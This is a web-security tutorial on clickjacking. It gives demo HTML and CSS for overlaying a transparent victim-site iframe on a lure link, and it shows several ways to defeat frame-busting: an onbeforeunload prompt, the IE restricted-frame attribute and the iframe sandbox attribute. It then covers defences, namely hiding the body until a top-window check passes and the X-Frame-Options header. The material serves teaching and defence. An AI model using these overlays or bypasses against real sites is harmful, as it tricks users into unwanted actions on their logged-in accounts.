The overall idea is simple.
  1. A visitor is lured to evil page. No matter how. “Click to get 1000000$” or whatever.
  2. The evil page puts a “get rich now” link with z-index=-1.
  3. The evil page includes a transparent iframe from the victim domain, say and positions it so that “I like it” button is right over the link.
Here’s how it looks (half-transparent iframe for demo purposes):

02iframe { /* iframe from */
03  width:300px;
04  height:100px;
05  position:absolute;
06  top:0; left:0;
07  filter:alpha(opacity=50); /* in real life opacity=0 */
08  opacity:0.5;
12<div>Click on the link to get rich now:</div>
14<iframe src="/files/tutorial/window/clicktarget.html"></iframe>
16<a href="" target="_blank"style="position:relative;left:20px;z-index:-1">CLICK ME!</a>
18<div>You'll be rich for the whole life!</div>

A click on the link actually happens on the iframe. Bingo! If the visitor is logged into facebook (and most of time he is), then receives the click on behalf of the visitor.
On Twitter, it was the “Follow” button.
Same code, but transparent iframe (click to see the victim button pressed):
Actually, any single-click action is doable. All we need is to position the victim site iframe right. Most of time, the markup allows it.
Key events are much harder to hijack, because if the iframe is invisible, then the text in it’s input fields are invisible too. The visitor will start to type, but won’t see any text and won’t continue the action.

Defences and the ways to break through

The frame busting is a the good old framing protection technique. If you want to be sure that the document is not shown in iframe, you can add the following code to it:

2if(top != window) {
3  top.location = window.location

So, in theory, if the current window is not the topmost, then top.location is changed, so it will be topmost.
But in real life, such protection is too weak. It can be challenged and beaten. There are many ways for it. Let’s review a few.

Blocking top navigation

It is possible to block the navigation caused by top.location assignment, in the onbeforeunload event.
The handler of this event returns a string which becomes a question to the user, asking him whether he wants to leave the page or not.
The outer window is located at the evil domain, so of course, the hacker may put any question there, and the user will believe and him stay. It’s always like that.
In the example below, there is a protected iframe with the code:
1Changes top.location to
4  top.location = ''
6<input type="button" value="test" onclick="alert('button works')">

Here, the evil page cancels top location change with a smart onbeforeunload (the user should press cancel):

2window.onbeforeunload = function() {
3  window.onbeforeunload = null
4  return "Maybe you want to leave the page, before you become rich?!?"
8<iframe src=""style="height:80px"></iframe>

The event is not supported in Opera (at least Opera ⇐11) and ignored in this case by Chrome/Safari.
So the protection still works in Firefox and IE.

Other ways to workaround frame busting

  • In IE8, there is a proprietary security=”restricted” feature which forbids JavaScript in the frame.For example,
    1<iframe security="restricted"src=""style="height:80px"></iframe>

  • In Chrome (recent Webkit), we can use HTML5 sandbox attribute to allow scripts and forms, but forbid top navigation (no allow-top-navigation):
    1<iframe sandbox="allow-scripts allow-forms"src=""style="height:80px"></iframe>
    So, iframe will be able to use scripts, but it may not change top.location.
  • Firefox and older IE can activate designMode in parent page, this also prevents frame busting (thanks to clickjacking page for the idea).

There are other ways to evade the simple frame busting defence, not listed here. Browsers try to fix hacks, but new ways continue to emerge.

The reliable frame busting defence

The most reliable method is to suspend showing the document until the top == window check:
The code of the defending frame:
02  <style> body { display : none;} </style>
07  if (self == top) {
08    var theBody = document.getElementsByTagName('body')[0]
09 = "block"
10  else {
11    top.location = self.location
12  }

In the example above, we use document.getElementsByTagName('body') instead of document.body, because this way of getting BODY it works in all browsers when the document is not ready.
The only way to workaround it is HTML5 sandbox attribute which prevents top navigation. But newer browsers which support sandbox also provide another, even better way to protect from clickjacking (see below).


All modern browsers support the X-Frame-Options header.
The header allows or disallows rendering of the document when inside an iframe.
It may have two possible values:
The document will be rendered (shown) in an frame only if the frame and it’s parent have the same origin.
The document may not be rendered inside a frame.
Browsers ignore the header if speicified in the META tag. So the following META will be ignored:
<meta http-equiv="X-Frame-Options" content="deny">


Let’s use the clickjacking demo example from the beginning of the article, but now the server adds X-Frame-Options="sameorigin" header.
In the code below, the iframe is half-transparent. Run it and note that the browser doesn’t render the iframe.

1<div>Click on the link below</div>
3<iframe src=""style="width:300px;height:100px;position:absolute;top:0px;left:0px;filter:alpha(opacity=50);opacity:0.5"></iframe>
5<a href="" target="_blank"style="position:relative;left:20px;font-size:15px;z-index:-1">CLICK ME!</a>
7<div>You'll be rich for the whole life!</div>

See the example above in IE8+, it should clearly demonstrate the idea.


Clickjacking is easy to implement. As far as there is an action on your site that can be done with a single click – it may be clickjacked.
An attacker can ensure that the visitor is logged into your site by social engineering. Or on some sites it is possible to send a message to a user with the “Happy Link”. The user will browse his site mail and click on it, then be clickjacked.. Many variants are possible.
It is recommended that you use the X-Frame-Options at pages which are not meant to run into a frame.
The older frame busting method is less effective, but useful for older browsers, like IE7.

Post a Comment